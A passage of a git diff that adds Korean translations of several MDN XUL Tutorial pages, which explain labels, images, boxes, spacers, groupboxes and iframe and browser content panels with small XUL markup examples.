+<p>여러분은 to set which control the label is associated with <code><code id="a-control"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/control">control</a></code></code> 속성을 쓸 수 있습니다. 사용자가 label을 클릭할 때, 그 컨트롤이 focus를 받습니다. <code>control</code> 속성값을 focus 받을 요소의 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code>로 설정하세요.</p>
+<p><span id="Example_3"><a id="Example_3"></a><strong>Example 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul">View</a></p>
+<pre>&lt;label value="Click here:" control="open-button"/&gt;
+&lt;button id="open-button" label="Open"/&gt;
+</pre>
+<p>위 예제에서, label을 클릭하면 button이 focus를 받게 됩니다.</p>
+<h3 id="Image" name="Image">Image</h3>
+<p>HTML처럼, XUL은 창 안에 image를 표시하는 요소가 있습니다. 이 요소는 어울리게 <code><a href="/ko/docs/Mozilla/Tech/XUL/image" title="image">image</a></code>로 이름 지었습니다. 태그 이름이 HTML(
+ <i>
+  img</i>
+ 대신
+ <i>
+  image</i>
+ )과 다름을 유념하세요. 여러분은 image 파일의 URL을 지정하기 위해 <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code> 속성을 쓸 수 있습니다. 아래 예제는 이를 보입니다.</p>
+<pre>&lt;image src="images/banner.jpg"/&gt;
+</pre>
+<p>비록 여러분이 이 구문을 쓸 수 있을지라도, image URL을 설정하기 위해 스타일시트를 쓰는 것이 더 낫습니다. 더 나중 절에서 <a href="ko/XUL_Tutorial/Adding_Style_Sheets">스타일시트 쓰는</a> 법을 설명하지만 예제는 완결함을 위해 여기에 보입니다. 여러분은 image URL을 설정하기 위해 <code><a href="ko/CSS/list-style-image">list-style-image</a></code> CSS 프로퍼티를 쓸 수 있습니다. 여기 예제가 있습니다.</p>
+<pre class="eval"><b>XUL:</b>
+ &lt;image id="image1"/&gt;
+ &lt;image id="search"/&gt;
+</pre>
+<pre class="eval"><b>Style Sheet:</b>
+ #image1 {
+   list-style-image: url("<a class="external" rel="freelink">chrome://findfile/skin/banner.jpg</a>");
+ }
+
+ #search {
+   list-style-image: url("<span class="nowiki">http://example.com/images/search.png</span>");
+ }
+</pre>
+<p>이 이미지들은 findfile 꾸러미(package)용 skin의 chrome 디렉토리에서 났습니다. image가 skin에 따라 바뀌기 때문에, 여러분은 보통 skin 디렉토리에 image를 둘 겁니다.</p>
+<p>다음 절에서, 우리는 <a href="ko/XUL_Tutorial/Input_Controls">창에 입력 컨트롤을 추가</a>하는 법을 배웁니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Buttons" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Input_Controls">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html
new file mode 100644
index 0000000000..c801fbfbba
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html
@@ -0,0 +1,87 @@
+---
+title: Adding More Elements
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_More_Elements
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_More_Elements
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Groupboxes" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Stacks_and_Decks">다음  »</a></p>
+</div><p></p>
+<p>파일 찾기 대화창에 몇 가지 상자를 추가하면서 상자에 대한 논의를 마무리 하겠습니다.</p>
+<div class="highlight">
+ <h3 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C.EC.97.90_.EB.AA.87.EA.B0.80.EC.A7.80_.EC.9A.94.EC.86.8C_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C.EC.97.90_.EB.AA.87.EA.B0.80.EC.A7.80_.EC.9A.94.EC.86.8C_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">우리의 파일 찾기 예제에 몇가지 요소 추가하기</h3>
+ <p>이제 파일 찾기 대화창에 몇 가지 요소를 추가하겠습니다. 먼저 파일크기 및 날짜와 같은 정보를 검색할 수 있는 기능을 추가할 것입니다.</p>
+ <pre class="eval">&lt;hbox&gt;
+  <span class="highlightred">&lt;menulist id="searchtype"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Name"/&gt;
+      &lt;menuitem label="Size"/&gt;
+      &lt;menuitem label="Date Modified"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;menulist id="searchmode"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Is"/&gt;
+      &lt;menuitem label="Is Not"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;</span>
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+</pre>
+ <div class="float-right">
+  <img alt="Image:boxfinal1.png"></div>
+ <p>2 개의 <a href="ko/XUL_Tutorial/List_Controls#_Drop-down_Lists">드롭 다운 상자</a>가 대화창에 추가되었습니다. 이들을 구분짓기 위해서 각 요소 사이에 <a href="ko/XUL_Tutorial/Using_Spacers">spacer</a>가 추가되어 있습니다. 이들 spacer는 각각 10픽셀 너비가 주어졌습니다. 창 크기가 바뀌면, 글상자는 커지지만 다른 구성요소는 그대로 있는 것을 보실 수 있습니다. 또한 라벨이 제거된 것을 보실 수 있습니다.</p>
+ <p>세로 방향의 창 크기를 바꾸더라도, 해당 요소들의 크기는 변하지 않습니다. 이것은 해당 요소가 가로상자 내부에 있기 때문입니다. 만일 찾기(Find)와 취소(Cancel) 버튼이 항상 창 하단에 있게되면 보기가 더 좋을 것입니다. 이것은 2개의 가로상자 사이에 spacer를 추가해서 간단하게 처리할 수 있습니다.</p>
+ <pre class="eval"><span class="highlightred">&lt;spacer style="height: 10px"/&gt;</span>
+&lt;hbox&gt;
+  &lt;menulist id="searchtype"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Name"/&gt;
+      &lt;menuitem label="Size"/&gt;
+      &lt;menuitem label="Date Modified"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;menulist id="searchmode"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Is"/&gt;
+      &lt;menuitem label="Is Not"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+
+<span class="highlightred">&lt;spacer style="height: 10px" flex="1"/&gt;</span>
+
+&lt;hbox&gt;
+</pre>
+ <p>이제 대화창 크기가 바뀌면, 2개의 버튼은 항상 대화창 하단에 있도록 움직이게 됩니다. 첫번째 <code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code>는 제목 라벨과 검색 기준 요소 사이에 여백을 추가한 것입니다.</p>
+ <p>검색 기준 둘레에 선이 있다면 더 보기 좋을 것입니다. 이를 처리할 수 있는 방법에는 두 가지가 있습니다. CSS의 <code>border</code> 속성을 사용하거나 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code> 요소를 사용할 수 있습니다. 첫 번째 방식은 상자 자체에 스타일 속성을 사용하면 됩니다. 우리는 후자의 방식을 사용할 것입니다. <a href="ko/XUL_Tutorial/Groupboxes">groupbox</a>는 현재의 테마에 어울리는 보기 좋은 둥근 테두리를 가진 상자를 그려주는 장점이 있습니다.</p>
+ <p><code>groupbox</code>로 상자를 변경해 보겠습니다.</p>
+ <pre class="eval"><span class="highlightred">&lt;groupbox orient="horizontal"&gt;</span>
+  <span class="highlightred"><span class="nowiki">&lt;caption label="Search Criteria"/&gt;</span></span>
+  &lt;menulist id="searchtype"&gt;
+  .
+  .
+  .
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+<span class="highlightred">&lt;/groupbox&gt;</span>
+</pre>
+ <div class="float-right">
+  <img alt="Image:boxfinal2.png"></div>
+ <p>마찬가지로 다른 표면적인 문제가 있습니다. groupbox가 상자 하단 세로방향으로 확장되도록 groupbox를 늘릴 수도 있습니다. 또한 해당 요소가 잘 위치되도록 여백의 일부를 수정할 수도 있습니다.</p>
+ <p>본 자습서를 통해 요소들을 추가하면서 상자 모델과 그것들의 몇 가지 기능들에 대한 기능들에 대한 더 많은 예제를 보게 될 것입니다..</p>
+ <p>지금까지의 파일 찾기 예제 <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul">View</a></p>
+</div>
+<p>다음에는 <a href="ko/XUL_Tutorial/Stacks_and_Decks">스택을 작성하는 방법</a>에 대해 알아 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Groupboxes" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Stacks_and_Decks">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html
new file mode 100644
index 0000000000..64633c5d1d
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html
@@ -0,0 +1,99 @@
+---
+title: Box Model Details
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Box_Model_Details
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Box_Model_Details
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Element_Positioning" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Groupboxes">다음  »</a></p>
+</div><p></p>
+<p>지금까지 우리는 상자모델의 많은 기능을 살펴 보았습니다. 여기서는 몇 가지 예제를 가지고 좀 더 세부적인 내용을 알아보겠습니다.</p>
+<h3 id=".EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83.EC.97.90_.EB.8C.80.ED.95.9C_.EC.B6.94.EA.B0.80_.EB.82.B4.EC.9A.A9" name=".EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83.EC.97.90_.EB.8C.80.ED.95.9C_.EC.B6.94.EA.B0.80_.EB.82.B4.EC.9A.A9">레이아웃에 대한 추가 내용</h3>
+<p><code>min-width</code>와 <code>max-height</code>같은 스타일 속성은 어떤 요소에든 적용할 수 있습니다. 지금까지는 이 속성들을 버튼과 글상자에만 적용했지만, 여백이나 상자 요소에도 적용할 수 있습니다. 게다가, <code>flex</code> 속성은 어떤 요소에든 적용할 수 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_1.xul">View</a></p>
+<pre>&lt;hbox flex="1"&gt;
+  &lt;button label="Left" style="min-width: 100px;" flex="1"/&gt;
+  &lt;spacer flex="1"/&gt;
+  &lt;button label="Right" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>위의 예제에서, 3개 요소는 유연하기 때문에 스스로 크기가 조절됩니다. 2개의 버튼은 최소 넓이를 100픽셀로 하고 있습니다. 버튼은 이 크기 이하로 절대 작아지지 않지만 더 늘어날 수는 있습니다. 여기서 해당 창은 대략 200픽셀 정도의 넓이가 될 것입니다. 이는 두개의 버튼이 들어가기에 충분한 공간입니다. 3개 요소 모두가 유연하기 때문에, 더 많은 공간을 필요로 하지 않으며 flex 속성에 의해 빈 공간이 생기지 않습니다.</p>
+<div class="float-right">
+ <img alt="Image:boxdet1.png"></div>
+<p>그림에서처럼, 두 개의 버튼은 이들을 포함하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>에 맞도록 수직 방향으로도 늘어나는 것을 볼 수 있습니다. <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성은 가로상자에서 이러한 동작을 제어하는데 사용됩니다. 또한 여러분은 요소나 상자에 최대 높이를 지정해서 늘어나지 못하게도 할 수 있습니다. 어떤 상자가 최대 높이값을 가지면, 상자내에 있는 요소들은 이것에 의해 제약을 받게 된다. 그러나 여기에도 문제가 있는데, 사전에 해당 요소가 얼마나 커야 할지 알아야 한다는 것입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_2.xul">View</a></p>
+<pre>&lt;hbox flex="1" align="top"&gt;
+  &lt;button label="Left" style="min-width: 100px;" flex="1"/&gt;
+  &lt;spacer flex="1"/&gt;
+  &lt;button label="Right" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<h4 id=".EC.83.81.EC.9E.90_.EB.AA.A8.EB.8D.B8_.EC.A0.95.EB.A6.AC" name=".EC.83.81.EC.9E.90_.EB.AA.A8.EB.8D.B8_.EC.A0.95.EB.A6.AC">상자 모델 정리</h4>
+<p>복잡한 레이아웃을 만드려면, 일반적으로 중첩된 상자를 추가하고 일부 요소에 최대 최소 크기를 지정해주고, 어떤 요소가 flex 속성을 가지도록 해야 합니다. 가장 좋은 인터페이스는 다양한 크기에서도 문제없이 표시될 수 있는 것입니다. 여러분 스스로 여러 경우를 시험해 보지 않으면 상자 모델을 이해하기 어려우실 겁니다.</p>
+<p>다음은 두 가지 상자 형식의 기본적인 내용을 설명하고 있습니다.</p>
+<p><b>가로상자</b></p>
+<ol>
+ <li>서로 이웃하는 요소를 가로 방향으로 배치합니다.</li>
+ <li>유연한 요소(flex 속성을 가진 요소)는 가로로 크기를 조절합니다.</li>
+ <li>pack 속성은 자식 요소의 가로 방향 위치를 제어합니다.</li>
+ <li>align 속성은 요소의 행이 어떻게 세로로 정렬될 지를 제어합니다.</li>
+</ol>
+<p><b>세로상자</b></p>
+<ol>
+ <li>세로 방향으로 요소들을 배치합니다.</li>
+ <li>유연한 요소(flex 속성을 가진 요소)는 세로로 크기를 조절합니다.</li>
+ <li>pack 속성은 자식 요소의 세로 방향 위치를 제어합니다.</li>
+ <li>align 속성은 자식 요소의 가로 정렬 방식을 제어합니다.</li>
+</ol>
+<p>상자는 테이블과 같은 HTML 요소 내부를 포함해서 XUL 어디에든 사용할 수 있습니다. 그러나 그러한 레이아웃은 일부 HTML 요소에 의해 제어되게 됩니다. 이는 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성이 여러분이 원하는 대로 작동하지 않을 수도 있다는 것을 의미합니다. flex 속성은 상자 또는 상자 타입 요소 바로 안에 있는 요소들에 대해서만 적용된다는 점을 기억하세요.</p>
+<h3 id=".EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83_.EC.98.88.EC.A0.9C" name=".EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83_.EC.98.88.EC.A0.9C">레이아웃 예제</h3>
+<h4 id=".EC.97.AC.EB.B0.B1_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.97.AC.EB.B0.B1_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">여백 사용하기</h4>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_3.xul">View</a></p>
+<pre>&lt;hbox&gt;
+  &lt;button label="One"/&gt;
+  &lt;spacer style="width: 5px"/&gt;
+  &lt;button label="Two"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>여기서, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> 요소는 두개의 버튼 사이의 구분자로 사용되고 있으며, 정확하게 5픽셀로 설정되어 있습니다. 여러분은 CSS의 <code>margin</code> 속성을 사용해서 여백을 설정할 수도 있습니다.</p>
+<h4 id=".EB.B2.84.ED.8A.BC_.EC.A4.91.EC.95.99.EC.A0.95.EB.A0.AC" name=".EB.B2.84.ED.8A.BC_.EC.A4.91.EC.95.99.EC.A0.95.EB.A0.AC">버튼 중앙정렬</h4>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_4.xul">View</a></p>
+<pre>&lt;hbox pack="center" align="center" flex="1"&gt;
+  &lt;button label="Look at Me!"/&gt;
+  &lt;button label="Push Me!"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>이 예제는 2개의 버튼을 포함하고 flex 속성이 지정된 가로 상자입니다. 해당 상자는 버튼들을 가로 중앙 정렬하기 위해 <code><code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></code> 속성을 사용합니다. <code><code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></code> 속성은 버튼들을 세로로 정렬하고 있습니다. 결과적으로 상자 내 버튼들은 양방향에서 중앙에 위치하게 됩니다. 이 예제는 세로상자에도 마찬가지로 적용되는데, 다른점은 2번째 버튼이 우측이 아니라 아래에 놓이게 된다는 것입니다.</p>
+<h4 id=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD" name=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD">파일 찾기 대화창</h4>
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxdet_5.xul">View</a></p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="findtext" title="Find Text" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;vbox flex="3"&gt;
+    &lt;label control="t1" value="Search Text:"/&gt;
+    &lt;textbox id="t1" style="min-width: 100px;" flex="1"/&gt;
+  &lt;/vbox&gt;
+
+  &lt;vbox style="min-width: 150px;" flex="1" align="start"&gt;
+    &lt;checkbox id="c1" label="Ignore Case"/&gt;
+    &lt;spacer flex="1" style="max-height: 30px;"/&gt;
+    &lt;button label="Find"/&gt;
+  &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+<div class="float-right">
+ <img alt="Image:boxdet-ex3.jpg"></div>
+<p>여기서 2개의 세로상자가 만들어 지는데, 하나는 글상자를 포함하고 다른 하나는 체크상자와 버튼을 포함합니다. 좌측 상자는 우측보다 3배 큰 유연성을 가지고 있어(flex값이 3배 큼) 창의 크기가 커지면 추가 공간도 그만큼 커지게 된다. 오른쪽 상자는 최소 넓이를 150픽셀로 제한하고 있습니다.</p>
+<p>글상자는 flex 속성을 가지고 있기 때문에 창 크기가 바뀌면 따라서 바뀌게 됩니다. 글상자 또한 최소넓이를 100픽셀로 제한하고 있습니다. 오른쪽 상자에는 라벨이 있는 체크상자가 있습니다. 체크상자 바로 아래에는 여백(spacer) 요소가 있습니다. 여백(spacer)은 커지거나 줄어들게 되지만 30픽셀보다 커지지는 않습니다. 결과적으로 체크상자와 찾기(Find) 버튼은 30픽셀 보다 크지는 않을 공간으로 서로 떨어져 나타나게 됩니다.</p>
+<p>2번째 상자는 <code>start</code>라는 정렬 속성을 가지고 있습니다. 이 속성은 자식요소를 좌측 끝에 정렬시킵니다. 이를 지정하지 않았다면, 기본값은 <code>stretch</code>가 되는데, 자식요소를 가로으로 주욱 펼치게 되었을 것입니다. 찾기(Find) 버튼의 크기가 변하지 않게 하기 위해서는 정렬 속성을 지정해야 합니다.</p>
+<p>다음에는 좀 더 특별한 유형의 상자인 <a href="ko/XUL_Tutorial/Groupboxes">the groupbox</a>에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Element_Positioning" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Groupboxes">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html
new file mode 100644
index 0000000000..d255a5fa4e
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html
@@ -0,0 +1,55 @@
+---
+title: Content Panels
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Content_Panels
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Content_Panels
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Grids" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Splitters">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 HTML 페이지 혹은 외부 XUL 파일을 표시할 수 있는 패널을 추가하는 방법에 대해 알아보겠습니다.</p>
+<h3 id=".EC.9E.90.EC.8B.9D_.ED.8C.A8.EB.84.90_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.9E.90.EC.8B.9D_.ED.8C.A8.EB.84.90_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">자식 패널 추가하기</h3>
+<p>여러분은 다른 페이지의 문서 일부분을 가져오고자 할 때가 있을 것입니다. 때로는 창의 일부분만을 수정하고자 할 때도 있을 것입니다. 단계별로 진행되는 마법사 대화창이 좋은 예입니다. 마법사 대화창은 여러개의 화면을 통해 단계적으로 질문을 하고 답변을 하도록 안내해줍니다. 사용자가 다음 버튼을 클릭할 때마다 마법사의 다음 화면이 표시됩니다.</p>
+<p>마법사를 만들 때 각 화면별로 다른 창이 열리도록 인터페이스를 구성할 수도 있을 것입니다. 하지만 이 방법에는 다음의 세 가지 문제점이 있습니다. 첫 번째는 각 창이 다른 위치에 나타날 수 있다는 점입니다(해결책이 있기는 합니다). 두 번째는 '뒤로'나 '다음' 버튼 등의 요소는 인터페이스 전반에 걸쳐 공통적으로 사용되기 때문에 마법사의 내용 영역만 바뀌도록 구성하는 것이 좋다는 점입니다. 세 번째는 여러 개의 창을 이용하면 스크립트를 효율적으로 사용할 수 없다는 점입니다.</p>
+<p>XUL에는 마법사 인터페이스를 만들기 위한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> 요소가 존재한다는 점을 알고 계십시요. 이에 대해서는 <a href="ko/XUL_Tutorial/Creating_a_Wizard">이후 단원</a>에서 설명할 것입니다.</p>
+<p>또 다른 방법은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code> 요소를 사용하는 것인데, 같은 이름의 HTML 요소와 아주 비슷하게 동작합니다. iframe은 하나의 창 내에 서로 다른 문서를 만들 수 있게 해 줍니다. 또한 iframe은 창의 어느 곳에나 위치할 수 있고 다른 파일에서 내용을 불러올 수 있다는 장점이 있습니다. iframe에서는 <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code> 속성을 사용하여 프레임에 표시될 URL을 지정합니다. URL이 가리킬 수 있는 파일 종류에는 제한이 없지만, 보통 HTML이나 XUL 파일을 사용합니다. 스크립트를 사용하면 창에 영향을 주지 않고 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>의 내용을 바꿀 수도 있습니다.</p>
+<p>Mozilla 브라우저 창에서 웹 문서가 표시되는 영역이 바로 <code>iframe</code>으로 만들어진 것입니다. 사용자가 URL을 입력하거나 문서의 링크를 클릭하면 이 프레임의 소스가 변경되는 것입니다.</p>
+<h5 id="iframe_.EC.98.88.EC.A0.9C" name="iframe_.EC.98.88.EC.A0.9C"><code>iframe</code> 예제</h5>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_1.xul">View</a></p>
+<pre>&lt;toolbox&gt;
+  &lt;toolbar id="nav-toolbar"&gt;
+    &lt;toolbarbutton label="Back"/&gt;
+    &lt;toolbarbutton label="Forward"/&gt;
+    &lt;textbox id="urlfield"/&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+
+&lt;iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1"/&gt;
+</pre>
+<p>위 예제는 웹 브라우저로 사용할 수 있는 아주 간단한 인터페이스를 만들어 보았습니다. 상자에는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>와 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code> 요소를 포함합니다. 툴바에는 "뒤로 가기" 버튼과 "앞으로 가기" 버튼, URL 입력란이 포함되어 있습니다(툴바에 대해서는 <a href="ko/XUL_Tutorial/Toolbars">이후 단원</a>에서 배울것입니다). 웹 문서는 <code>iframe</code> 안에 표시되는데, 예제에서는 기본적으로 welcome.html 파일이 표시됩니다.</p>
+<p>이 예제는 완전한 기능을 제공하지는 않습니다. 나중에 사용자가 Enter 키를 누르는 것과 같은 특정 시점에 <code><code id="a-src"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/src">src</a></code></code> 속성을 변경하는 스크립트를 추가할 것입니다.</p>
+<h3 id=".EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80" name=".EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80">브라우저</h3>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code> 태그를 사용하는 두 번째 유형의 내용 패널이 있습니다. 이 패널은 브라우저처럼 내용을 출력하는 프레임을 생성하고자 할 때 사용할 수 있습니다. 사실 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>도 이러한 것을 할 수 있지만, 브라우저는 좀 더 다양한 기능을 제공합니다. 예를 들어, 브라우저는 '뒤로'나 '다음' 버튼을 사용할 수 있도록 페이지 기록을 관리합니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code> 요소는 해당 내용의 참조자와 다른 플래그들을 가지고 페이지를 로드할 수 있습니다. 당연히, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code> 태그는 브라우저와 같은 인터페이스를 만들고자 할 때 사용되어야 하지만, 간단한 패널이 필요할 때 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>을 사용할 수도 있습니다.</p>
+<p>이와 비슷한 요소인 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code>는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code>의 모든 기능을 제공하면서 여러 페이지들간에 이동할 수 있는 탭바를 제공합니다. 이는 Mozilla 브라우저에서 탭브라우징 인터페이스를 제공하기 위해 사용되는 위젯입니다. 사실 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code> 요소는 여러개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code>를 포함하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>로 구현되어 있습니다. 두 가지 형태의 브라우저 모두 출력되는 페이지들을 제어하기 위한 비슷한 방법을 제공합니다.</p>
+<h5 id="browser_.EC.98.88.EC.A0.9C" name="browser_.EC.98.88.EC.A0.9C"><code>browser</code> 예제</h5>
